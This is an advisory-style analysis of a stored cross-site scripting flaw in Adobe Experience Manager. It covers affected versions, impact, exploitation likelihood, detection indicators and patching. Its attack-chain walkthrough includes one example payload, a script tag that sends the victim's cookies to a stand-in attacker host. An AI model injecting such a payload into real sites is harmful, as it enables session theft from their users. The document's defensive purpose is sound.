CVE-2025-47010: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47010 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically a stored XSS variant where malicious script content is persisted server-side and later rendered in victims' browsers. An attacker with low-level authenticated access can submit crafted JavaScript payloads into vulnerable AEM form fields; when any user subsequently visits the page containing that field, the script executes in their browser context. Exploitation requires network access, low privileges, and victim user interaction (page visit), but no elevated configuration or complex conditions (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and integrity compromise of web application interactions. Confidentiality and integrity impacts are both rated low, and there is no direct availability impact. The changed scope indicator means the impact can extend beyond the attacker's own session to affect other users of the AEM instance (Adobe Advisory, Feedly).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47010. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user input (e.g., content forms, text fields in editable templates) that lack proper output encoding.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., administrator or editor) to visit the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect exfiltrated session tokens, cookies, or other sensitive data from the attacker-controlled server to perform session hijacking or further unauthorized actions (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS lookups to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing stored content with embedded <script> tags or HTML event handler attributes in text properties that were not placed by legitimate authors.
• Browser: Unexpected redirects or pop-ups when browsing AEM pages; browser developer tools showing script execution from inline content rather than approved script sources.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premise to version 6.5.23.0 or later, and update AEM Cloud Service to version 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to restrict inline script execution, enforce rigorous input validation and output encoding on all user-submitted content, and limit the number of users with content authoring privileges. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory, Feedly).